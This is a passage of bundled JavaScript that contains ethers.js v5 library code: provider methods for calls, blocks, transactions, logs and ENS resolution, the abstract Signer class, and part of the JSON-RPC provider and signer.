encodeBytes([ccipResult, extraData])])\n };\n return this._call(tx, blockTag, attempt + 1);\n } catch (error) {\n if (error.code === Logger.errors.SERVER_ERROR) {\n throw error;\n }\n }\n }\n try {\n return hexlify(result);\n } catch (error) {\n return logger16.throwError(\"bad result from backend\", Logger.errors.SERVER_ERROR, {\n method: \"call\",\n params: { transaction, blockTag },\n result,\n error\n });\n }\n });\n }\n call(transaction, blockTag) {\n return __awaiter6(this, void 0, void 0, function* () {\n yield this.getNetwork();\n const resolved = yield resolveProperties({\n transaction: this._getTransactionRequest(transaction),\n blockTag: this._getBlockTag(blockTag),\n ccipReadEnabled: Promise.resolve(transaction.ccipReadEnabled)\n });\n return this._call(resolved.transaction, resolved.blockTag, resolved.ccipReadEnabled ? 0 : -1);\n });\n }\n estimateGas(transaction) {\n return __awaiter6(this, void 0, void 0, function* () {\n yield this.getNetwork();\n const params = yield resolveProperties({\n transaction: this._getTransactionRequest(transaction)\n });\n const result = yield this.perform(\"estimateGas\", params);\n try {\n return BigNumber.from(result);\n } catch (error) {\n return logger16.throwError(\"bad result from backend\", Logger.errors.SERVER_ERROR, {\n method: \"estimateGas\",\n params,\n result,\n error\n });\n }\n });\n }\n _getAddress(addressOrName) {\n return __awaiter6(this, void 0, void 0, function* () {\n addressOrName = yield addressOrName;\n if (typeof addressOrName !== \"string\") {\n logger16.throwArgumentError(\"invalid address or ENS name\", \"name\", addressOrName);\n }\n const address = yield this.resolveName(addressOrName);\n if (address == null) {\n logger16.throwError(\"ENS name not configured\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: `resolveName(${JSON.stringify(addressOrName)})`\n });\n }\n return address;\n });\n }\n _getBlock(blockHashOrBlockTag, includeTransactions) {\n return __awaiter6(this, void 0, void 0, function* () {\n yield this.getNetwork();\n blockHashOrBlockTag = yield blockHashOrBlockTag;\n let blockNumber = -128;\n const params = {\n includeTransactions: !!includeTransactions\n };\n if (isHexString(blockHashOrBlockTag, 32)) {\n params.blockHash = blockHashOrBlockTag;\n } else {\n try {\n params.blockTag = yield this._getBlockTag(blockHashOrBlockTag);\n if (isHexString(params.blockTag)) {\n blockNumber = parseInt(params.blockTag.substring(2), 16);\n }\n } catch (error) {\n logger16.throwArgumentError(\"invalid block hash or block tag\", \"blockHashOrBlockTag\", blockHashOrBlockTag);\n }\n }\n return poll(() => __awaiter6(this, void 0, void 0, function* () {\n const block = yield this.perform(\"getBlock\", params);\n if (block == null) {\n if (params.blockHash != null) {\n if (this._emitted[\"b:\" + params.blockHash] == null) {\n return null;\n }\n }\n if (params.blockTag != null) {\n if (blockNumber > this._emitted.block) {\n return null;\n }\n }\n return void 0;\n }\n if (includeTransactions) {\n let blockNumber2 = null;\n for (let i = 0; i < block.transactions.length; i++) {\n const tx = block.transactions[i];\n if (tx.blockNumber == null) {\n tx.confirmations = 0;\n } else if (tx.confirmations == null) {\n if (blockNumber2 == null) {\n blockNumber2 = yield this._getInternalBlockNumber(100 + 2 * this.pollingInterval);\n }\n let confirmations = blockNumber2 - tx.blockNumber + 1;\n if (confirmations <= 0) {\n confirmations = 1;\n }\n tx.confirmations = confirmations;\n }\n }\n const blockWithTxs = this.formatter.blockWithTransactions(block);\n blockWithTxs.transactions = blockWithTxs.transactions.map((tx) => this._wrapTransaction(tx));\n return blockWithTxs;\n }\n return this.formatter.block(block);\n }), { oncePoll: this });\n });\n }\n getBlock(blockHashOrBlockTag) {\n return this._getBlock(blockHashOrBlockTag, false);\n }\n getBlockWithTransactions(blockHashOrBlockTag) {\n return this._getBlock(blockHashOrBlockTag, true);\n }\n getTransaction(transactionHash) {\n return __awaiter6(this, void 0, void 0, function* () {\n yield this.getNetwork();\n transactionHash = yield transactionHash;\n const params = { transactionHash: this.formatter.hash(transactionHash, true) };\n return poll(() => __awaiter6(this, void 0, void 0, function* () {\n const result = yield this.perform(\"getTransaction\", params);\n if (result == null) {\n if (this._emitted[\"t:\" + transactionHash] == null) {\n return null;\n }\n return void 0;\n }\n const tx = this.formatter.transactionResponse(result);\n if (tx.blockNumber == null) {\n tx.confirmations = 0;\n } else if (tx.confirmations == null) {\n const blockNumber = yield this._getInternalBlockNumber(100 + 2 * this.pollingInterval);\n let confirmations = blockNumber - tx.blockNumber + 1;\n if (confirmations <= 0) {\n confirmations = 1;\n }\n tx.confirmations = confirmations;\n }\n return this._wrapTransaction(tx);\n }), { oncePoll: this });\n });\n }\n getTransactionReceipt(transactionHash) {\n return __awaiter6(this, void 0, void 0, function* () {\n yield this.getNetwork();\n transactionHash = yield transactionHash;\n const params = { transactionHash: this.formatter.hash(transactionHash, true) };\n return poll(() => __awaiter6(this, void 0, void 0, function* () {\n const result = yield this.perform(\"getTransactionReceipt\", params);\n if (result == null) {\n if (this._emitted[\"t:\" + transactionHash] == null) {\n return null;\n }\n return void 0;\n }\n if (result.blockHash == null) {\n return void 0;\n }\n const receipt = this.formatter.receipt(result);\n if (receipt.blockNumber == null) {\n receipt.confirmations = 0;\n } else if (receipt.confirmations == null) {\n const blockNumber = yield this._getInternalBlockNumber(100 + 2 * this.pollingInterval);\n let confirmations = blockNumber - receipt.blockNumber + 1;\n if (confirmations <= 0) {\n confirmations = 1;\n }\n receipt.confirmations = confirmations;\n }\n return receipt;\n }), { oncePoll: this });\n });\n }\n getLogs(filter2) {\n return __awaiter6(this, void 0, void 0, function* () {\n yield this.getNetwork();\n const params = yield resolveProperties({ filter: this._getFilter(filter2) });\n const logs = yield this.perform(\"getLogs\", params);\n logs.forEach((log) => {\n if (log.removed == null) {\n log.removed = false;\n }\n });\n return Formatter.arrayOf(this.formatter.filterLog.bind(this.formatter))(logs);\n });\n }\n getEtherPrice() {\n return __awaiter6(this, void 0, void 0, function* () {\n yield this.getNetwork();\n return this.perform(\"getEtherPrice\", {});\n });\n }\n _getBlockTag(blockTag) {\n return __awaiter6(this, void 0, void 0, function* () {\n blockTag = yield blockTag;\n if (typeof blockTag === \"number\" && blockTag < 0) {\n if (blockTag % 1) {\n logger16.throwArgumentError(\"invalid BlockTag\", \"blockTag\", blockTag);\n }\n let blockNumber = yield this._getInternalBlockNumber(100 + 2 * this.pollingInterval);\n blockNumber += blockTag;\n if (blockNumber < 0) {\n blockNumber = 0;\n }\n return this.formatter.blockTag(blockNumber);\n }\n return this.formatter.blockTag(blockTag);\n });\n }\n getResolver(name) {\n return __awaiter6(this, void 0, void 0, function* () {\n let currentName = name;\n while (true) {\n if (currentName === \"\" || currentName === \".\") {\n return null;\n }\n if (name !== \"eth\" && currentName === \"eth\") {\n return null;\n }\n const addr = yield this._getResolver(currentName, \"getResolver\");\n if (addr != null) {\n const resolver = new Resolver(this, addr, name);\n if (currentName !== name && !(yield resolver.supportsWildcard())) {\n return null;\n }\n return resolver;\n }\n currentName = currentName.split(\".\").slice(1).join(\".\");\n }\n });\n }\n _getResolver(name, operation) {\n return __awaiter6(this, void 0, void 0, function* () {\n if (operation == null) {\n operation = \"ENS\";\n }\n const network = yield this.getNetwork();\n if (!network.ensAddress) {\n logger16.throwError(\"network does not support ENS\", Logger.errors.UNSUPPORTED_OPERATION, { operation, network: network.name });\n }\n try {\n const addrData = yield this.call({\n to: network.ensAddress,\n data: \"0x0178b8bf\" + namehash(name).substring(2)\n });\n return this.formatter.callAddress(addrData);\n } catch (error) {\n }\n return null;\n });\n }\n resolveName(name) {\n return __awaiter6(this, void 0, void 0, function* () {\n name = yield name;\n try {\n return Promise.resolve(this.formatter.address(name));\n } catch (error) {\n if (isHexString(name)) {\n throw error;\n }\n }\n if (typeof name !== \"string\") {\n logger16.throwArgumentError(\"invalid ENS name\", \"name\", name);\n }\n const resolver = yield this.getResolver(name);\n if (!resolver) {\n return null;\n }\n return yield resolver.getAddress();\n });\n }\n lookupAddress(address) {\n return __awaiter6(this, void 0, void 0, function* () {\n address = yield address;\n address = this.formatter.address(address);\n const node = address.substring(2).toLowerCase() + \".addr.reverse\";\n const resolverAddr = yield this._getResolver(node, \"lookupAddress\");\n if (resolverAddr == null) {\n return null;\n }\n const name = _parseString(yield this.call({\n to: resolverAddr,\n data: \"0x691f3431\" + namehash(node).substring(2)\n }), 0);\n const addr = yield this.resolveName(name);\n if (addr != address) {\n return null;\n }\n return name;\n });\n }\n getAvatar(nameOrAddress) {\n return __awaiter6(this, void 0, void 0, function* () {\n let resolver = null;\n if (isHexString(nameOrAddress)) {\n const address = this.formatter.address(nameOrAddress);\n const node = address.substring(2).toLowerCase() + \".addr.reverse\";\n const resolverAddress = yield this._getResolver(node, \"getAvatar\");\n if (!resolverAddress) {\n return null;\n }\n resolver = new Resolver(this, resolverAddress, node);\n try {\n const avatar2 = yield resolver.getAvatar();\n if (avatar2) {\n return avatar2.url;\n }\n } catch (error) {\n if (error.code !== Logger.errors.CALL_EXCEPTION) {\n throw error;\n }\n }\n try {\n const name = _parseString(yield this.call({\n to: resolverAddress,\n data: \"0x691f3431\" + namehash(node).substring(2)\n }), 0);\n resolver = yield this.getResolver(name);\n } catch (error) {\n if (error.code !== Logger.errors.CALL_EXCEPTION) {\n throw error;\n }\n return null;\n }\n } else {\n resolver = yield this.getResolver(nameOrAddress);\n if (!resolver) {\n return null;\n }\n }\n const avatar = yield resolver.getAvatar();\n if (avatar == null) {\n return null;\n }\n return avatar.url;\n });\n }\n perform(method, params) {\n return logger16.throwError(method + \" not implemented\", Logger.errors.NOT_IMPLEMENTED, { operation: method });\n }\n _startEvent(event) {\n this.polling = this._events.filter((e) => e.pollable()).length > 0;\n }\n _stopEvent(event) {\n this.polling = this._events.filter((e) => e.pollable()).length > 0;\n }\n _addEventListener(eventName, listener, once) {\n const event = new Event(getEventTag(eventName), listener, once);\n this._events.push(event);\n this._startEvent(event);\n return this;\n }\n on(eventName, listener) {\n return this._addEventListener(eventName, listener, false);\n }\n once(eventName, listener) {\n return this._addEventListener(eventName, listener, true);\n }\n emit(eventName, ...args) {\n let result = false;\n let stopped = [];\n let eventTag = getEventTag(eventName);\n this._events = this._events.filter((event) => {\n if (event.tag !== eventTag) {\n return true;\n }\n setTimeout(() => {\n event.listener.apply(this, args);\n }, 0);\n result = true;\n if (event.once) {\n stopped.push(event);\n return false;\n }\n return true;\n });\n stopped.forEach((event) => {\n this._stopEvent(event);\n });\n return result;\n }\n listenerCount(eventName) {\n if (!eventName) {\n return this._events.length;\n }\n let eventTag = getEventTag(eventName);\n return this._events.filter((event) => {\n return event.tag === eventTag;\n }).length;\n }\n listeners(eventName) {\n if (eventName == null) {\n return this._events.map((event) => event.listener);\n }\n let eventTag = getEventTag(eventName);\n return this._events.filter((event) => event.tag === eventTag).map((event) => event.listener);\n }\n off(eventName, listener) {\n if (listener == null) {\n return this.removeAllListeners(eventName);\n }\n const stopped = [];\n let found = false;\n let eventTag = getEventTag(eventName);\n this._events = this._events.filter((event) => {\n if (event.tag !== eventTag || event.listener != listener) {\n return true;\n }\n if (found) {\n return true;\n }\n found = true;\n stopped.push(event);\n return false;\n });\n stopped.forEach((event) => {\n this._stopEvent(event);\n });\n return this;\n }\n removeAllListeners(eventName) {\n let stopped = [];\n if (eventName == null) {\n stopped = this._events;\n this._events = [];\n } else {\n const eventTag = getEventTag(eventName);\n this._events = this._events.filter((event) => {\n if (event.tag !== eventTag) {\n return true;\n }\n stopped.push(event);\n return false;\n });\n }\n stopped.forEach((event) => {\n this._stopEvent(event);\n });\n return this;\n }\n};\n\n// node_modules/@ethersproject/providers/lib.esm/json-rpc-provider.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/abstract-signer/lib.esm/index.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/abstract-signer/lib.esm/_version.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar version16 = \"abstract-signer/5.7.0\";\n\n// node_modules/@ethersproject/abstract-signer/lib.esm/index.js\nvar __awaiter7 = function(thisArg, _arguments, P, generator) {\n function adopt(value) {\n return value instanceof P ? value : new P(function(resolve) {\n resolve(value);\n });\n }\n return new (P || (P = Promise))(function(resolve, reject) {\n function fulfilled(value) {\n try {\n step(generator.next(value));\n } catch (e) {\n reject(e);\n }\n }\n function rejected(value) {\n try {\n step(generator[\"throw\"](value));\n } catch (e) {\n reject(e);\n }\n }\n function step(result) {\n result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected);\n }\n step((generator = generator.apply(thisArg, _arguments || [])).next());\n });\n};\nvar logger17 = new Logger(version16);\nvar allowedTransactionKeys = [\n \"accessList\",\n \"ccipReadEnabled\",\n \"chainId\",\n \"customData\",\n \"data\",\n \"from\",\n \"gasLimit\",\n \"gasPrice\",\n \"maxFeePerGas\",\n \"maxPriorityFeePerGas\",\n \"nonce\",\n \"to\",\n \"type\",\n \"value\"\n];\nvar forwardErrors = [\n Logger.errors.INSUFFICIENT_FUNDS,\n Logger.errors.NONCE_EXPIRED,\n Logger.errors.REPLACEMENT_UNDERPRICED\n];\nvar Signer = class _Signer {\n ///////////////////\n // Sub-classes MUST call super\n constructor() {\n logger17.checkAbstract(new.target, _Signer);\n defineReadOnly(this, \"_isSigner\", true);\n }\n ///////////////////\n // Sub-classes MAY override these\n getBalance(blockTag) {\n return __awaiter7(this, void 0, void 0, function* () {\n this._checkProvider(\"getBalance\");\n return yield this.provider.getBalance(this.getAddress(), blockTag);\n });\n }\n getTransactionCount(blockTag) {\n return __awaiter7(this, void 0, void 0, function* () {\n this._checkProvider(\"getTransactionCount\");\n return yield this.provider.getTransactionCount(this.getAddress(), blockTag);\n });\n }\n // Populates \"from\" if unspecified, and estimates the gas for the transaction\n estimateGas(transaction) {\n return __awaiter7(this, void 0, void 0, function* () {\n this._checkProvider(\"estimateGas\");\n const tx = yield resolveProperties(this.checkTransaction(transaction));\n return yield this.provider.estimateGas(tx);\n });\n }\n // Populates \"from\" if unspecified, and calls with the transaction\n call(transaction, blockTag) {\n return __awaiter7(this, void 0, void 0, function* () {\n this._checkProvider(\"call\");\n const tx = yield resolveProperties(this.checkTransaction(transaction));\n return yield this.provider.call(tx, blockTag);\n });\n }\n // Populates all fields in a transaction, signs it and sends it to the network\n sendTransaction(transaction) {\n return __awaiter7(this, void 0, void 0, function* () {\n this._checkProvider(\"sendTransaction\");\n const tx = yield this.populateTransaction(transaction);\n const signedTx = yield this.signTransaction(tx);\n return yield this.provider.sendTransaction(signedTx);\n });\n }\n getChainId() {\n return __awaiter7(this, void 0, void 0, function* () {\n this._checkProvider(\"getChainId\");\n const network = yield this.provider.getNetwork();\n return network.chainId;\n });\n }\n getGasPrice() {\n return __awaiter7(this, void 0, void 0, function* () {\n this._checkProvider(\"getGasPrice\");\n return yield this.provider.getGasPrice();\n });\n }\n getFeeData() {\n return __awaiter7(this, void 0, void 0, function* () {\n this._checkProvider(\"getFeeData\");\n return yield this.provider.getFeeData();\n });\n }\n resolveName(name) {\n return __awaiter7(this, void 0, void 0, function* () {\n this._checkProvider(\"resolveName\");\n return yield this.provider.resolveName(name);\n });\n }\n // Checks a transaction does not contain invalid keys and if\n // no \"from\" is provided, populates it.\n // - does NOT require a provider\n // - adds \"from\" is not present\n // - returns a COPY (safe to mutate the result)\n // By default called from: (overriding these prevents it)\n // - call\n // - estimateGas\n // - populateTransaction (and therefor sendTransaction)\n checkTransaction(transaction) {\n for (const key2 in transaction) {\n if (allowedTransactionKeys.indexOf(key2) === -1) {\n logger17.throwArgumentError(\"invalid transaction key: \" + key2, \"transaction\", transaction);\n }\n }\n const tx = shallowCopy(transaction);\n if (tx.from == null) {\n tx.from = this.getAddress();\n } else {\n tx.from = Promise.all([\n Promise.resolve(tx.from),\n this.getAddress()\n ]).then((result) => {\n if (result[0].toLowerCase() !== result[1].toLowerCase()) {\n logger17.throwArgumentError(\"from address mismatch\", \"transaction\", transaction);\n }\n return result[0];\n });\n }\n return tx;\n }\n // Populates ALL keys for a transaction and checks that \"from\" matches\n // this Signer. Should be used by sendTransaction but NOT by signTransaction.\n // By default called from: (overriding these prevents it)\n // - sendTransaction\n //\n // Notes:\n // - We allow gasPrice for EIP-1559 as long as it matches maxFeePerGas\n populateTransaction(transaction) {\n return __awaiter7(this, void 0, void 0, function* () {\n const tx = yield resolveProperties(this.checkTransaction(transaction));\n if (tx.to != null) {\n tx.to = Promise.resolve(tx.to).then((to) => __awaiter7(this, void 0, void 0, function* () {\n if (to == null) {\n return null;\n }\n const address = yield this.resolveName(to);\n if (address == null) {\n logger17.throwArgumentError(\"provided ENS name resolves to null\", \"tx.to\", to);\n }\n return address;\n }));\n tx.to.catch((error) => {\n });\n }\n const hasEip1559 = tx.maxFeePerGas != null || tx.maxPriorityFeePerGas != null;\n if (tx.gasPrice != null && (tx.type === 2 || hasEip1559)) {\n logger17.throwArgumentError(\"eip-1559 transaction do not support gasPrice\", \"transaction\", transaction);\n } else if ((tx.type === 0 || tx.type === 1) && hasEip1559) {\n logger17.throwArgumentError(\"pre-eip-1559 transaction do not support maxFeePerGas/maxPriorityFeePerGas\", \"transaction\", transaction);\n }\n if ((tx.type === 2 || tx.type == null) && (tx.maxFeePerGas != null && tx.maxPriorityFeePerGas != null)) {\n tx.type = 2;\n } else if (tx.type === 0 || tx.type === 1) {\n if (tx.gasPrice == null) {\n tx.gasPrice = this.getGasPrice();\n }\n } else {\n const feeData = yield this.getFeeData();\n if (tx.type == null) {\n if (feeData.maxFeePerGas != null && feeData.maxPriorityFeePerGas != null) {\n tx.type = 2;\n if (tx.gasPrice != null) {\n const gasPrice = tx.gasPrice;\n delete tx.gasPrice;\n tx.maxFeePerGas = gasPrice;\n tx.maxPriorityFeePerGas = gasPrice;\n } else {\n if (tx.maxFeePerGas == null) {\n tx.maxFeePerGas = feeData.maxFeePerGas;\n }\n if (tx.maxPriorityFeePerGas == null) {\n tx.maxPriorityFeePerGas = feeData.maxPriorityFeePerGas;\n }\n }\n } else if (feeData.gasPrice != null) {\n if (hasEip1559) {\n logger17.throwError(\"network does not support EIP-1559\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"populateTransaction\"\n });\n }\n if (tx.gasPrice == null) {\n tx.gasPrice = feeData.gasPrice;\n }\n tx.type = 0;\n } else {\n logger17.throwError(\"failed to get consistent fee data\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"signer.getFeeData\"\n });\n }\n } else if (tx.type === 2) {\n if (tx.maxFeePerGas == null) {\n tx.maxFeePerGas = feeData.maxFeePerGas;\n }\n if (tx.maxPriorityFeePerGas == null) {\n tx.maxPriorityFeePerGas = feeData.maxPriorityFeePerGas;\n }\n }\n }\n if (tx.nonce == null) {\n tx.nonce = this.getTransactionCount(\"pending\");\n }\n if (tx.gasLimit == null) {\n tx.gasLimit = this.estimateGas(tx).catch((error) => {\n if (forwardErrors.indexOf(error.code) >= 0) {\n throw error;\n }\n return logger17.throwError(\"cannot estimate gas; transaction may fail or may require manual gas limit\", Logger.errors.UNPREDICTABLE_GAS_LIMIT, {\n error,\n tx\n });\n });\n }\n if (tx.chainId == null) {\n tx.chainId = this.getChainId();\n } else {\n tx.chainId = Promise.all([\n Promise.resolve(tx.chainId),\n this.getChainId()\n ]).then((results) => {\n if (results[1] !== 0 && results[0] !== results[1]) {\n logger17.throwArgumentError(\"chainId address mismatch\", \"transaction\", transaction);\n }\n return results[0];\n });\n }\n return yield resolveProperties(tx);\n });\n }\n ///////////////////\n // Sub-classes SHOULD leave these alone\n _checkProvider(operation) {\n if (!this.provider) {\n logger17.throwError(\"missing provider\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: operation || \"_checkProvider\"\n });\n }\n }\n static isSigner(value) {\n return !!(value && value._isSigner);\n }\n};\n\n// node_modules/@ethersproject/providers/lib.esm/json-rpc-provider.js\nvar __awaiter8 = function(thisArg, _arguments, P, generator) {\n function adopt(value) {\n return value instanceof P ? value : new P(function(resolve) {\n resolve(value);\n });\n }\n return new (P || (P = Promise))(function(resolve, reject) {\n function fulfilled(value) {\n try {\n step(generator.next(value));\n } catch (e) {\n reject(e);\n }\n }\n function rejected(value) {\n try {\n step(generator[\"throw\"](value));\n } catch (e) {\n reject(e);\n }\n }\n function step(result) {\n result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected);\n }\n step((generator = generator.apply(thisArg, _arguments || [])).next());\n });\n};\nvar logger18 = new Logger(version13);\nvar errorGas = [\"call\", \"estimateGas\"];\nfunction spelunk(value, requireData) {\n if (value == null) {\n return null;\n }\n if (typeof value.message === \"string\" && value.message.match(\"reverted\")) {\n const data = isHexString(value.data) ? value.data : null;\n if (!requireData || data) {\n return { message: value.message, data };\n }\n }\n if (typeof value === \"object\") {\n for (const key2 in value) {\n const result = spelunk(value[key2], requireData);\n if (result) {\n return result;\n }\n }\n return null;\n }\n if (typeof value === \"string\") {\n try {\n return spelunk(JSON.parse(value), requireData);\n } catch (error) {\n }\n }\n return null;\n}\nfunction checkError(method, error, params) {\n const transaction = params.transaction || params.signedTransaction;\n if (method === \"call\") {\n const result = spelunk(error, true);\n if (result) {\n return result.data;\n }\n logger18.throwError(\"missing revert data in call exception; Transaction reverted without a reason string\", Logger.errors.CALL_EXCEPTION, {\n data: \"0x\",\n transaction,\n error\n });\n }\n if (method === \"estimateGas\") {\n let result = spelunk(error.body, false);\n if (result == null) {\n result = spelunk(error, false);\n }\n if (result) {\n logger18.throwError(\"cannot estimate gas; transaction may fail or may require manual gas limit\", Logger.errors.UNPREDICTABLE_GAS_LIMIT, {\n reason: result.message,\n method,\n transaction,\n error\n });\n }\n }\n let message = error.message;\n if (error.code === Logger.errors.SERVER_ERROR && error.error && typeof error.error.message === \"string\") {\n message = error.error.message;\n } else if (typeof error.body === \"string\") {\n message = error.body;\n } else if (typeof error.responseText === \"string\") {\n message = error.responseText;\n }\n message = (message || \"\").toLowerCase();\n if (message.match(/insufficient funds|base fee exceeds gas limit|InsufficientFunds/i)) {\n logger18.throwError(\"insufficient funds for intrinsic transaction cost\", Logger.errors.INSUFFICIENT_FUNDS, {\n error,\n method,\n transaction\n });\n }\n if (message.match(/nonce (is )?too low/i)) {\n logger18.throwError(\"nonce has already been used\", Logger.errors.NONCE_EXPIRED, {\n error,\n method,\n transaction\n });\n }\n if (message.match(/replacement transaction underpriced|transaction gas price.*too low/i)) {\n logger18.throwError(\"replacement fee too low\", Logger.errors.REPLACEMENT_UNDERPRICED, {\n error,\n method,\n transaction\n });\n }\n if (message.match(/only replay-protected/i)) {\n logger18.throwError(\"legacy pre-eip-155 transactions not supported\", Logger.errors.UNSUPPORTED_OPERATION, {\n error,\n method,\n transaction\n });\n }\n if (errorGas.indexOf(method) >= 0 && message.match(/gas required exceeds allowance|always failing transaction|execution reverted|revert/)) {\n logger18.throwError(\"cannot estimate gas; transaction may fail or may require manual gas limit\", Logger.errors.UNPREDICTABLE_GAS_LIMIT, {\n error,\n method,\n transaction\n });\n }\n throw error;\n}\nfunction timer(timeout) {\n return new Promise(function(resolve) {\n setTimeout(resolve, timeout);\n });\n}\nfunction getResult(payload) {\n if (payload.error) {\n const error = new Error(payload.error.message);\n error.code = payload.error.code;\n error.data = payload.error.data;\n throw error;\n }\n return payload.result;\n}\nfunction getLowerCase(value) {\n if (value) {\n return value.toLowerCase();\n }\n return value;\n}\nvar _constructorGuard2 = {};\nvar JsonRpcSigner = class extends Signer {\n constructor(constructorGuard, provider, addressOrIndex) {\n super();\n if (constructorGuard !== _constructorGuard2) {\n throw new Error(\"do not call the JsonRpcSigner constructor directly; use provider.getSigner\");\n }\n defineReadOnly(this, \"provider\", provider);\n if (addressOrIndex == null) {\n addressOrIndex = 0;\n }\n if (typeof addressOrIndex === \"string\") {\n defineReadOnly(this, \"_address\", this.provider.formatter.address(addressOrIndex));\n defineReadOnly(this, \"_index\", null);\n } else if (typeof addressOrIndex === \"number\") {\n defineReadOnly(this, \"_index\", addressOrIndex);\n defineReadOnly(this, \"_address\", null);\n } else {\n logger18.throwArgumentError(\"invalid address or index\", \"addressOrIndex\", addressOrIndex);\n }\n }\n connect(provider) {\n return logger18.throwError(\"cannot alter JSON-RPC Signer connection\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"connect\"\n });\n }\n connectUnchecked() {\n return new UncheckedJsonRpcSigner(_constructorGuard2, this.provider, this._address || this._index);\n }\n getAddress() {\n if (this._address) {\n return Promise.resolve(this._address);\n }\n return this.provider.send(\"eth_accounts\", []).then((accounts) => {\n if (accounts.length <= this._index) {\n logger18.throwError(\"unknown account #\" + this._index, Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"getAddress\"\n });\n }\n return this.provider.formatter.address(accounts[this._index]);\n });\n }\n sendUncheckedTransaction(transaction) {\n transaction = shallowCopy(transaction);\n const fromAddress = this.getAddress().then((address) => {\n if (address) {\n address = address.toLowerCase();\n }\n return address;\n });\n if (transaction.gasLimit == null) {\n const estimate = shallowCopy(transaction);\n estimate.from = fromAddress;\n transaction.gasLimit = this.provider.estimateGas(estimate);\n }\n if (transaction.to != null) {\n transaction.to = Promise.resolve(transaction.to).then((to) => __awaiter8(this, void 0, void 0, function* () {\n if (to == null) {\n return null;\n }\n const address = yield this.provider.resolveName(to);\n if (address == null) {\n logger18.throwArgumentError(\"provided ENS name resolves to null\", \"tx.to\", to);\n }\n return address;\n }));\n }\n return resolveProperties({\n tx: resolveProperties(transaction),\n sender: fromAddress\n }).then(({ tx, sender }) => {\n if (tx.from != null) {\n if (tx.from.toLowerCase() !== sender) {\n logger18.throwArgumentError(\"from address mismatch\", \"transaction\", transaction);\n }\n } else {\n tx.from = sender;\n }\n const hexTx = this.provider.constructor.hexlifyTransaction(tx, { from: true });\n return this.provider.send(\"eth_sendTransaction\", [hexTx]).then((hash3) => {\n return hash3;\n }, (error) => {\n if (typeof error.message === \"string\" && error.message.match(/user denied/i)) {\n logger18.throwError(\"user rejected transaction\", Logger.errors.ACTION_REJECTED, {\n action: \"sendTransaction\",\n transaction: tx\n });\n }\n return checkError(\"sendTransaction\", error, hexTx);\n });\n });\n }\n signTransaction(transaction) {\n return logger18.throwError(\"signing transactions is unsupported\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"signTransaction\"\n });\n }\n sendTransaction(transaction) {\n return __awaiter8(this, void 0, void 0, function* () {\n const blockNumber = yield this.provider._getInternalBlockNumber(100 + 2 * this.provider.pollingInterval);\n const hash3 = yield this.sendUncheckedTransaction(transaction);\n try {\n return yield poll(() => __awaiter8(this, void 0, void 0, function* () {\n const tx = yield this.provider.getTransaction(hash3);\n if (tx === null) {\n return void 0;\n }\n return this.provider._wrapTransaction(tx, hash3, blockNumber);\n }), { oncePoll: this.provider });\n } catch (error) {\n error.transactionHash = hash3;\n throw error;\n }\n });\n }\n signMessage(message) {\n return __awaiter8(this, void 0, void 0, function* () {\n const data = typeof message === \"string\" ? toUtf8Bytes(message) : message;\n const address = yield this.getAddress();\n try {\n return yield this.provider.send(\"personal_sign\", [hexlify(data), address.toLowerCase()]);\n } catch (error) {\n if (typeof error.message === \"string\" && error.message.match(/user denied/i)) {\n logger18.throwError(\"user rejected signing\", Logger.errors.ACTION_REJECTED, {\n action: \"signMessage\",\n from: address,\n messageData: message\n });\n }\n throw error;\n }\n });\n }\n _legacySignMessage(message) {\n return __awaiter8(this, void 0, void 0, function* () {\n const data = typeof message === \"string\" ? toUtf8Bytes(message) : message;\n const address = yield this.getAddress();\n try {\n return yield this.provider.send(\"eth_sign\", [address.toLowerCase(), hexlify(data)]);\n } catch (error) {\n if (typeof error.message === \"string\" && error.message.match(/user denied/i)) {\n logger18.throwError(\"user rejected signing\", Logger.errors.ACTION_REJECTED, {\n action: \"_legacySignMessage\",\n from: address,\n messageData: message\n });\n }\n throw error;\n }\n });\n }\n _signTypedData(domain, types, value) {\n return __awaiter8(this, void 0, void 0, function* () {\n const populated = yield TypedDataEncoder.resolveNames(domain, types, value, (name) => {\n return this.provider.resolveName(name);\n });\n const address = yield this.getAddress();\n try {\n return yield this.provider.send(\"eth_signTypedData_v4\", [\n address.toLowerCase(),\n JSON.stringify(TypedDataEncoder.getPayload(populated.domain, types, populated.value))\n ]);\n } catch (error) {\n if (typeof error.message === \"string\" && error.message.match(/user denied/i)) {\n logger18.throwError(\"user rejected signing\", Logger.errors.ACTION_REJECTED, {\n action: \"_signTypedData\",\n from: address,\n messageData: { domain: populated.domain, types, value: populated.value }\n });\n }\n throw error;\n }\n });\n }\n unlock(password) {\n return __awaiter8(this, void 0, void 0, function* () {\n const provider = this.provider;\n const address = yield this.getAddress();\n return provider.send(\"personal_unlockAccount\", [address.toLowerCase(), password, null]);\n });\n }\n};\nvar UncheckedJsonRpcSigner = class extends JsonRpcSigner {\n sendTransaction(transaction) {\n return this.sendUncheckedTransaction(transaction).then((hash3) => {\n return {\n hash: hash3,\n nonce: null,\n gasLimit: null,\n gasPrice: null,\n data: null,\n value: null,\n chainId: null,\n confirmations: 0,\n from: null,\n wait: (confirmations) => {\n return this.provider.waitForTransaction(hash3, confirmations);\n }\n };\n });\n }\n};\nvar allowedTransactionKeys2 = {\n chainId: true,\n data: true,\n gasLimit: true,\n gasPrice: true,\n nonce: true,\n to: true,\n value: true,\n type: true,\n accessList: true,\n maxFeePerGas: true,\n maxPriorityFeePerGas: true\n};\nvar JsonRpcProvider = class extends BaseProvider {\n constructor(url, network) {\n let networkOrReady = network;\n if (networkOrReady == null) {\n networkOrReady = new Promise((resolve, reject) => {\n setTimeout(() => {\n this.detectNetwork().then((network2) => {\n resolve(network2);\n }, (error) => {\n reject(error);\n });\n }, 0);\n });\n }\n super(networkOrReady);\n if (!url) {\n url = getStatic(this.constructor, \"defaultUrl\")();\n }\n if (typeof url === \"string\") {\n defineReadOnly(this, \"connection\", Object.freeze({\n url\n }));\n } else {\n defineReadOnly(this, \"connection\", 